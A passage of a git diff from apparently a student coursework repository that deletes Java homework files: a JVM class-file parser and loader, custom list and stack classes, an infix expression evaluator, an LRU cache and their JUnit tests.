-		pool.addConstantInfo(new NullConstantInfo());
-		for (int i = 0; i < constantPoolCount-1; i++) {
-			int tag = iter.nextU1toInt();
-			if(tag == 7){
-				int utf8Index = iter.nextU2ToInt();
-				ClassInfo clzInfo= new ClassInfo(pool);
-				clzInfo.setUtf8Index(utf8Index);
-				pool.addConstantInfo(clzInfo);
-			}else if(tag == 1){
-				int length = iter.nextU2ToInt();
-				byte data[] = iter.getBytes(length);
-				String value = null;
-				try {
-					value = new String(data,"UTF-8");
-				} catch (UnsupportedEncodingException e) {
-					e.printStackTrace();
-				}
-				UTF8Info utf8Info = new UTF8Info(pool);
-				utf8Info.setLength(length);
-				utf8Info.setValue(value);
-				pool.addConstantInfo(utf8Info);
-			}else if(tag == 12){
-				int NameIndex = iter.nextU2ToInt();
-				int TypeIndex = iter.nextU2ToInt();
-				NameAndTypeInfo nameAndType = new NameAndTypeInfo(pool);
-				nameAndType.setIndex1(NameIndex);
-				nameAndType.setIndex2(TypeIndex);
-				pool.addConstantInfo(nameAndType);
-			}else if(tag == 9){
-				int classInfoIndex = iter.nextU2ToInt();
-				int nameAndTypeIndex = iter.nextU2ToInt();
-				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-				fieldRefInfo.setClassInfoIndex(classInfoIndex);
-				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
-				pool.addConstantInfo(fieldRefInfo);
-			}else if(tag == 10){
-				int classInfoIndex = iter.nextU2ToInt();
-				int nameAndTypeIndex = iter.nextU2ToInt();
-				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-				methodRefInfo.setClassInfoIndex(classInfoIndex);
-				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
-				pool.addConstantInfo(methodRefInfo);
-			}else if(tag == 8){
-				int stringIndex = iter.nextU2ToInt();
-				StringInfo stringInfo = new StringInfo(pool);
-				stringInfo.setIndex(stringIndex);
-				pool.addConstantInfo(stringInfo);
-			}else{
-				throw new RuntimeException("the constant pool tag" + tag + "has not been implemented yet");
-			}
-				
-		}
-		return pool;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-		System.out.println("interfaceCount:" + interfaceCount);
-
-	}
-
-	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
-		int fieldCount = iter.nextU2ToInt();
-		for (int i = 1; i <= fieldCount; i++) {
-			Field field = Field.parse(clzFile.getConstantPool(), iter);
-			clzFile.addField(field);
-		}
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
-		int methodsCount = iter.nextU2ToInt();
-		for (int i = 1; i <= methodsCount; i++) {
-			Method method = Method.parse(clzFile, iter);
-			clzFile.addMethod(method);
-		}
-	}
-	
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/method/Method.java b/group17/102228177/work4_16/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index da6384f9f4..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,91 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descriptorIndex = iter.nextU2ToInt();
-		int attributesCount = iter.nextU2ToInt();
-		Method m = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
-		
-		for (int i = 1; i <= attributesCount; i++) {
-			int attrNameIndex = iter.nextU2ToInt();	
-			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-			iter.back(2);
-			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
-				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
-				m.setCodeAttr(codeAttr);
-			} else{
-				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
-			}
-		}
-		
-		return m ;
-		
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/test/EmployeeV1.java b/group17/102228177/work4_16/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coderising/jvm/util/Util.java b/group17/102228177/work4_16/src/com/coderising/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group17/102228177/work4_16/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/ArrayList.java b/group17/102228177/work4_16/src/com/coding/basic/stack/ArrayList.java
deleted file mode 100644
index 320a747606..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/ArrayList.java
+++ /dev/null
@@ -1,150 +0,0 @@
-package com.coding.basic.stack;
-
-
-
-import java.util.ConcurrentModificationException;
-import java.util.NoSuchElementException;
-
-
-public class ArrayList implements List{
-	public static final int defLen = 10;
-	private Object[] elements;
-	private int size;
-	private int maxLen;
-	
-	public ArrayList(){
-		size = 0;
-		maxLen = defLen;
-		elements = new Object[defLen];
-	}
-	
-	/**
-	 * 在ArrayList末尾处追加元素
-	 * @param o 添加的元素
-	 */
-	public void add(Object o){
-		if(size >= maxLen){
-			grow();
-		}
-		elements[size] = o;
-		size++;
-	}
-	
-	/**
-	 * 数组扩容
-	 */
-	private void grow(){
-		maxLen = maxLen + (maxLen >> 1);
-		Object[] newArr = new Object[maxLen];
-		System.arraycopy(elements, 0, newArr, 0, size);
-		elements = newArr;
-	}
-	
-	/**
-	 * 在指定索引处添加元素
-	 * @param i 指定索引
-	 * @param o 添加元素
-	 */
-	public void add(int i,Object o){
-		//判断插入位置大于数组实际长度
-		if(i > size){
-			size = i;
-			if(size >= maxLen){//数组大小大于数组最大容量则需要扩容
-				grow();
-			}
-		}
-		//插入位置不大于数组实际长度时，将插入位置的元素向后移。
-		for (int j = size; j > i ; j++) {
-			elements[j] = elements[j-1];
-		}
-		elements[i] = o;
-		size++;
-	}
-	
-	/**
-	 * 获取传入索引的元素
-	 * @param index 索引
-	 * @return 返回传入索引的元素
-	 */
-	public Object get(int index){
-		//索引不在实际范围内
-		if(index < 0||index >= size){
-			throw new ArrayIndexOutOfBoundsException();
-		}
-		for (int i = 0; i < size; i++) {
-			return elements[index];
-		}
-		return null;
-	}
-	
-	/**
-	 * 删除指定索引元素并返回
-	 * @param index
-	 * @return 该索引处元素
-	 */
-	public Object remove(int index){
-		//索引不在实际范围内
-		if(index < 0||index >= size){
-			throw new ArrayIndexOutOfBoundsException();
-		}else{
-			for (int j = index; j < size-1; j++) {
-				elements[j]=elements[j+1];
-			}
-			size--;
-			return elements[index];
-		}
-	}
-	
-	/**
-	 * 获取大小
-	 * @return 
-	 */
-	public int size(){
-		return size;
-	}
-	
-	public Iterator iterator(){
-		return new ArrayListIterator();
-	}
-	
-	private class ArrayListIterator implements Iterator{
-		int cursor;
-		
-		@Override
-		public boolean hasNext() {
-			return cursor != size;
-		}
-
-		@Override
-		public Object next() {
-			int i = cursor;
-			if(i >= size){
-                throw new NoSuchElementException();
-			}
-			if (i >= elements.length){
-				throw new ConcurrentModificationException();
-			}
-			cursor = i+1;        
-			return elements[i];
-		}
-	}
-	
-	public static void main(String[] args) {
-		ArrayList list = new ArrayList();
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(6, 6);
-		list.remove(3);
-		for (int i = 0; i < list.size(); i++) {
-			System.out.println(i+":"+list.get(i));
-		}
-		
-		Iterator it =  list.iterator();
-		while (it.hasNext()) {
-			System.out.println(it.next());
-		}
-	}
-}
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExpr.java b/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExpr.java
deleted file mode 100644
index a092602897..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExpr.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package com.coding.basic.stack;
-import java.util.List;
-import java.util.Stack;
-public class InfixExpr {
-	String expr = null;
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(this.expr);
-		
-		
-		Stack<Token> opStack = new Stack<>();
-		Stack<Float> numStack = new Stack<>();
-		
-		for(Token token : tokens){
-			
-			if (token.isOperator()){
-				
-				if(opStack.isEmpty()){
-					
-					opStack.push(token);
-				} else{
-					
-					while(!opStack.isEmpty() 
-							&& !token.hasHigherPriority(opStack.peek())){
-						Token prevOperator = opStack.pop();
-						Float f2 = numStack.pop();
-						Float f1 = numStack.pop();
-						Float result = calculate(prevOperator.toString(), f1,f2);
-						numStack.push(result);						
-						
-					}
-					opStack.push(token);
-				}
-			} 
-			if(token.isNumber()){
-				numStack.push(new Float(token.getIntValue()));
-			}
-		}
-		
-		while(!opStack.isEmpty()){
-			Token token = opStack.pop();
-			Float f2 = numStack.pop();
-			Float f1 = numStack.pop();
-			numStack.push(calculate(token.toString(), f1,f2));
-		}
-		
-		
-		return numStack.pop().floatValue();
-	}
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-
-	
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExprTest.java b/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExprTest.java
deleted file mode 100644
index 7774cf98b0..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExprTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.coding.basic.stack;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class InfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/Iterator.java b/group17/102228177/work4_16/src/com/coding/basic/stack/Iterator.java
deleted file mode 100644
index f51a971a1c..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/Iterator.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coding.basic.stack;
-
-public interface Iterator {
-	
-	public boolean hasNext();
-	public Object next();
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/List.java b/group17/102228177/work4_16/src/com/coding/basic/stack/List.java
deleted file mode 100644
index 2d2c693e0d..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coding.basic.stack;
-
-public interface List {
-	
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/Stack.java b/group17/102228177/work4_16/src/com/coding/basic/stack/Stack.java
deleted file mode 100644
index 42b6362e2f..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.EmptyStackException;
-
-public class Stack {
-	private ArrayList elementData;
-	private int elementCount;
-	
-	public Stack() {
-		this.elementData = new ArrayList();
-		this.elementCount = 0;
-	}
-	public void push(Object o){
-		elementData.add(o);
-		elementCount++;
-	}
-	
-	public Object pop(){
-		Object object = elementData.remove(elementCount-1);
-		elementCount--;
-		return object;
-	}
-	
-	public Object peek(){
-		if(isEmpty()){
-			 throw new EmptyStackException();
-		}
-		return elementData.get(elementCount-1);
-	}
-	public boolean isEmpty(){
-		return elementCount==0;
-	}
-	public int size(){
-		return elementCount;
-	}
-	
-	@Override
-	public String toString() {
-		StringBuilder sb = new StringBuilder();
-		sb.append("[");
-		for (int i = 0; i < elementData.size(); i++) {
-			sb.append(elementData.get(i)).append(",");
-		}
-		sb = sb.deleteCharAt(sb.length()-1);
-		sb.append("]");
-		return sb.toString();
-	}
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/StackUtil.java b/group17/102228177/work4_16/src/com/coding/basic/stack/StackUtil.java
deleted file mode 100644
index 33fd75f6f1..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,66 +0,0 @@
-package com.coding.basic.stack;
-
-public class StackUtil {
-	
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		if(!s.isEmpty()){
-			Object last = getBottom(s,s.pop());
-			reverse(s);
-			s.push(last);
-		}
-	}
-	
-	private static Object getBottom(Stack s,Object t){
-		if(s.isEmpty()){
-			return t;
-		}
-		Object last = getBottom(s, s.pop());
-		s.push(t);
-		return last;
-	}
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		return null;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		return false;
-	}
-	
-	public static void main(String[] args) {
-		Stack stack = new Stack();
-		stack.push(1);
-		stack.push(2);
-		stack.push(3);
-		stack.push(4);
-		reverse(stack);
-		System.out.println(stack);
-	}
-	
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/Token.java b/group17/102228177/work4_16/src/com/coding/basic/stack/Token.java
deleted file mode 100644
index 364fe104f5..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/Token.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.coding.basic.stack;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/TokenParser.java b/group17/102228177/work4_16/src/com/coding/basic/stack/TokenParser.java
deleted file mode 100644
index c45a23aed1..0000000000
--- a/group17/102228177/work4_16/src/com/coding/basic/stack/TokenParser.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.coding.basic.stack;
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
\ No newline at end of file
diff --git a/group17/1158154002/.classpath b/group17/1158154002/.classpath
index 44f39c3ace..2d7497573f 100644
--- a/group17/1158154002/.classpath
+++ b/group17/1158154002/.classpath
@@ -3,7 +3,5 @@
 	<classpathentry kind="src" path="src"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="lib" path="D:/java/jar/commons-lang3-3.5.jar"/>
-	<classpathentry kind="lib" path="D:/java/jar/commons-io-2.1.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group17/1158154002/src/test04/loader/ClassFileLoader.java b/group17/1158154002/src/test04/loader/ClassFileLoader.java
deleted file mode 100644
index 0f144fbb43..0000000000
--- a/group17/1158154002/src/test04/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package test04.loader;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-
-public class ClassFileLoader {
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	
-	public byte[] readBinaryCode(String className) {
-		className=className.replace(".", File.separator)+".class";
-		for (String path : clzPaths) {
-			String clzFileName=path+File.separator+className;
-			byte[] codes=loadClassFile(clzFileName);
-			if (codes!=null) {
-				return codes;
-			}
-		}
-		return null;	
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		File file=new File(clzFileName);
-		try {
-			return IOUtils.toByteArray(new FileInputStream(file));
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-			return null;
-		}
-
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if (this.clzPaths.contains(path)) {
-			return;
-		}
-		this.clzPaths.add(path);
-	}
-	
-	public String getClassPath_V1(){
-		
-		return  null;
-	}
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-}
diff --git a/group17/1158154002/src/test04/loader/ClassFileloaderTest.java b/group17/1158154002/src/test04/loader/ClassFileloaderTest.java
deleted file mode 100644
index 8897e72c91..0000000000
--- a/group17/1158154002/src/test04/loader/ClassFileloaderTest.java
+++ /dev/null
@@ -1,84 +0,0 @@
-package test04.loader;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class ClassFileloaderTest {
-
-	static String path1 = "D:/mygit/coding2017/group17/1158154002/bin/";
-	static String path2 = "file:/";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		System.out.println(clzPath);
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "test04.loader.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1036, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "test04.loader.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group17/1158154002/src/test04/loader/EmployeeV1.java b/group17/1158154002/src/test04/loader/EmployeeV1.java
deleted file mode 100644
index b646aac4c3..0000000000
--- a/group17/1158154002/src/test04/loader/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package test04.loader;
-
-public class EmployeeV1 {
-	private String name;
-	private int age;
-
-	public EmployeeV1(String name, int age) {
-		this.name = name;
-		this.age = age;
-	}
-
-	public void setName(String name) {
-		this.name = name;
-	}
-
-	public void setAge(int age) {
-		this.age = age;
-	}
-
-	public void sayHello() {
-		System.out.println("Hello , this is class Employee ");
-	}
-
-	public static void main(String[] args) {
-		EmployeeV1 p = new EmployeeV1("Andy", 29);
-		p.sayHello();
-	}
-}
diff --git a/group17/1158154002/src/test04/lru/LRUPageFrame.java b/group17/1158154002/src/test04/lru/LRUPageFrame.java
deleted file mode 100644
index e5662dc2ac..0000000000
--- a/group17/1158154002/src/test04/lru/LRUPageFrame.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package test04.lru;
-
-/**
- * 用双向链表实现LRU算法
- * @author 
- *
- */
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-		Node() {}
-		
-		Node(Node prev,Node next,int pageNum){
-			this.prev=prev;;
-			this.next=next;
-			this.pageNum=pageNum;
-		}
-	}
-
-	private int capacity;
-	private int currentSize;
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		if (currentSize<capacity) {
-			if(last==null){
-				last=new Node();
-				last.pageNum=pageNum;
-			}else{
-				addToFirst(pageNum);
-			}
-			currentSize++;
-		} else {
-			Node node=last;
-			while (node!=null&&node.pageNum!=pageNum) {
-				node=node.prev;
-			}
-			//没有找到,添加到头部，删除最后一个,找到了并且不是第一个删除当前节点，添加到头部
-			if (node==null) {
-				addToFirst(pageNum);
-				removeLast();
-			}else if(node!=first) {				
-				addToFirst(pageNum);
-				remove(node);
-			}
-
-		}
-
-
-	}
-
-	private void remove(Node node){
-			if (node.next!=null&&node.prev!=null) {
-				node.prev.next=node.next;
-				node.next.prev=node.prev;
-				node=null;
-			} else if(node.next==null){
-				removeLast();
-			}
-	}
-	
-	private void removeLast(){
-		Node temp=last.prev;
-		temp.next=null;
-		last=temp;
-}
-	
-	private void addToFirst(int pageNum) {
-		Node next=last;
-		while (next.prev!=null) {
-			next=next.prev;
-		}
-		first=new Node(null, next, pageNum);
-		next.prev=first;
-	}
-	
-	
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-}
\ No newline at end of file
diff --git a/group17/1158154002/src/test04/lru/LRUPageFrameTest.java b/group17/1158154002/src/test04/lru/LRUPageFrameTest.java
deleted file mode 100644
index f63ce0bc32..0000000000
--- a/group17/1158154002/src/test04/lru/LRUPageFrameTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package test04.lru;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-	}
-
-}
\ No newline at end of file
diff --git a/group17/1158154002/src/test05/stack/Stack.java b/group17/1158154002/src/test05/stack/Stack.java
deleted file mode 100644
index 177a330f7c..0000000000
--- a/group17/1158154002/src/test05/stack/Stack.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package test05.stack;
-
-import java.util.ArrayList;
-
-public class Stack<T> {
-	private ArrayList<T> elementData = new ArrayList<T>();
-	
-	public void push(T o){	
-		elementData.add(o);
-	}
-	
-	public T pop(){
-		return elementData.remove(size()-1);
-	}
-	
-	public T peek(){
-		if (size()>0) {
-			return elementData.get(size()-1);		
-		} else {
-			return null;
-		}
-
-	}
-	
-	public boolean isEmpty(){
-		return elementData.size()==0;
-	}
-	
-	public int size(){
-		return elementData.size();
-	}
-	
-	@Override
-	public String toString() {
-		StringBuffer sb=new StringBuffer();
-		while (peek()!=null) {
-			sb.append(pop()).append(",");
-		}
-
-		return sb.substring(0, sb.length()-1);
